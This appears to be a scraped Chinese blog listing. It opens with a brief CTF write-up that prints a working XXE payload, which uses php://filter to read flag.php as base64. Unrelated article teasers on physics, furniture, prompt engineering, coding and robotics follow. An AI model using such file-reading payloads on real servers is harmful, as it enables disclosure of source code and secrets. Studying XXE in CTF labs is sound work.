张小明
前端开发工程师
直接扫到部署的docker-compose配置文件，拿到flag
在返回包中出现xxmmll.php
访问，很明显的XXE提示
输入下面内容读取flag
<?xml version = "1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php"> ]> <name>&xxe;</name>KKR方法计算磁性体系交换常数KKR方法计算磁性体系交换常数一、引言KKR（Korringa-Kohn-Rostoker）方法计算磁性体系交换常数，通常采用Liechtenstein–Katsnelson–Antropov–Gubanov（LKAG）公式。该方法通过自旋向上/向下…
李华
在为无锡的学生挑选专业课桌椅时，选择一家靠谱的机构至关重要。合适的桌椅不仅能提升学生的学习体验和效率，还对学生的身体健康有着积极的影响。今天就来给大家推荐一家值得考虑的机构——无锡唯好办公，同时分享一些挑选专业课桌椅的要点。一…
李华
提示词工程学习教程：从入门到实战 一、什么是提示词工程 提示词工程，就是通过设计清晰、完整、可验证的指令，让人工智能更稳定、更准确地完成任务。 它不是简单地“把问题说得更长”，而是要解决以下问题： 1. 让模型…
李华
1. 从文档到代码：一个AI辅助开发者的日常 如果你和我一样，是个经常在飞书里写产品需求文档（PRD），然后转头就要去编辑器里敲代码的开发者，那你肯定也幻想过：要是PRD能自己变成代码该多好。这听起…
李华
1. 项目概述：为什么状态机是游戏开发的“定海神针”？在游戏开发里，尤其是Unity引擎下，你有没有遇到过这样的场景：角色一会儿在走路，一会儿在跑步，突然又跳了起来，然后被攻击进入僵直…
李华
机器人技术迭代背景下，关节承担着动力输出与运动传递的关键作用，整机的运动灵活性、运行稳定性以及作业精度均与之相关。针对人形机器人、四足机器狗、智慧物流等领域对“小体积、高性能、高稳定”的实际工况需求，西格传动打造的西格微摆系列…
李华